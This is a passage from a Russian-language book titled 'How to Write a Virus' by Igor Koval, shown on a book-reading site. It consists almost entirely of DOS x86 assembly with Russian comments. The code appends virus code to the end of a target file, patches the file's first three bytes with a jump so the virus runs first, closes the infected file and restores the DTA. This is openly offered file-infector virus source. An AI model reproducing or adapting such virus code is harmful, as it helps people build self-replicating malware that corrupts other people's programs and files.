"Игорь Коваль. Как написать вирус" - читать интересную книгу автора cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше jmp find_next ;Да- поищем дру- ;гой файл ... write_vir: mov ax,4200h ;Установим ука- xor cx,cx ;затель на конец mov dx,di ;файла ... int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,vir_len ;код вируса дли- lea dx,vir ;ной vir_len int 21h jc close ;При ошибке - ;закроем файл write_bytes: mov ax,4200h ;Установим ука- xor cx,cx ;затель на нача- xor dx,dx ;ло файла int 21h jc close ;При ошибке - ;закроем файл mov cx,3 ;первые три бай- lea dx,new_bytes ;та ( команду int 21h ;перехода ) ... close: mov ah,3eh ;Закроем зара- int 21h ;женный файл ... restore_dta: mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива dta_fresh: mov al,ds:[si] ;Читаем из мас- ;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено- ;сим его в DTA inc bx ;К новому байту inc si ; loop dta_fresh ;Цикл 128 раз pop ds ;Восстановим ;испорченный DS push cs ;Занесем в стек |
|
|